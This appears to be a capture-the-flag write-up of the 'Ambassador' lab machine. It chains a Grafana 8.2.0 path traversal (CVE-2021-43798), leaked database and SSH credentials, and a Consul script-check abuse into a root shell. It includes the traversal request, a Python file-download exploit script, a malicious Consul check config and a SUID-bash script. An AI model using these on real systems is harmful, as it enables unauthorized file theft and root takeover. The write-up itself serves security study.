Syk0

Ambassador


Ambassador

Overview

Ambassador runs Grafana 8.2.0, vulnerable to an unauthenticated path traversal/LFI (CVE-2021-43798). Reading Grafana's config file leaks the admin password, and the MySQL datasource config leaks database credentials. The MySQL database contains a base64-encoded SSH password. Post-foothold, linpeas finds a local app directory whose git history reveals a Consul token. The Consul service runs with enable_script_checks = true, allowing a malicious health check script to run as root - abused to create a SUID bash binary.


Recon

Nmap

sudo nmap -sC -sV -vv -oA tcp 10.129.228.56 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.228.56

Port 80 exposes a message mentioning account developer:

The port 80 site is a static site generator:

Grafana - Version Fingerprinting

Port 3000 serves Grafana 8.2.0:


Foothold

CVE-2021-43798 - Grafana LFI

Grafana 8.2.0 is vulnerable to an unauthenticated path traversal via the plugin static file endpoint. By traversing with URL-encoded slashes (%2F), files outside the plugin directory can be read.

Reference: https://hackerone.com/reports/1427086

GET /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 10.129.228.56:3000

Ubuntu 20.04 confirmed:

Automated File Download Script

Write a Python script to efficiently download arbitrary files via the LFI:

import requests
import os
 
filename = input("Filename: ")
fname = filename.replace("/", "%2F")
 
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}
 
while True:
    burp0_url = f"http://10.129.228.56:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..{fname}"
    re = requests.get(burp0_url, proxies=proxies)
 
    if re.ok:
        fn = os.path.basename(filename)
        with open(fn, 'w') as f:
            f.write(re.text)
    else:
        print(re.status_code)
 
    filename = input("Filename: ")
    if filename == "exit":
        break
    fname = filename.replace("/", "%2F")

Grafana Config - Admin Password

Read /etc/grafana/grafana.ini:

The admin password is present in the config file.

MySQL Datasource Config

The Grafana UI shows a MySQL datasource is configured. Read the provisioning config:

/etc/grafana/provisioning/datasources/mysql.yaml

MySQL credentials found. Connect via DBeaver - disable SSL verification and enable public key retrieval to connect:


Foothold (SSH)

Database - Base64 SSH Password

Another database exists with a users table:

The password field contains a base64-encoded value. Decode it - it's the SSH password for the developer user:

SSH as developer. User flag accessible.

Consul Service Discovery

A Consul service is running locally:


Lateral Movement

Linpeas identifies interesting application files:

Download /opt/my-app and review its git history:

git log --all --oneline

Switch to a past commit to recover a removed Consul token:

git checkout <commit-hash>

Consul token: bb03b43b-1d81-d62b-24b5-39540ee469b5

Check MySQL password in Consul KV - it's empty:


Privilege Escalation

Consul enable_script_checks

Read the Consul configuration file. The enable_script_checks = true flag is set - this allows defining health check scripts in service/check configuration files. Consul runs these scripts periodically as the user that started the Consul process (root in this case).

Create a malicious Consul check configuration at /etc/consul.d/config.d/syk0.hcl:

enable_script_checks = true
 
checks = [
  {
    id       = "chk1"
    name     = "mem"
    args     = ["/tmp/sk.sh"]
    interval = "5s"
  }
]

Create a test script /tmp/sk.sh to verify execution:

#!/bin/bash
touch /tmp/syk0.tmp

Reload Consul with our token to apply the new config:

consul reload --token bb03b43b-1d81-d62b-24b5-39540ee469b5

/tmp/syk0.tmp is created - confirming script execution as root. Update the script to create a SUID bash binary:

#!/bin/bash
cp /usr/bin/bash /tmp/bash
chmod u+s /tmp/bash

After 5 seconds (the check interval), /tmp/bash exists with SUID set:

/tmp/bash -p

Root shell obtained.


Attack Chain Summary

PhaseTechniqueResult
ReconGrafana version fingerprint8.2.0 - CVE-2021-43798
LFIPath traversal via plugin endpointGrafana config + MySQL creds
Database accessDBeaver MySQLSSH password (base64)
FootholdSSH as developerUser shell
Git history/opt/my-app checkoutConsul token
PrivescConsul script_checks + HCL fileSUID bash → root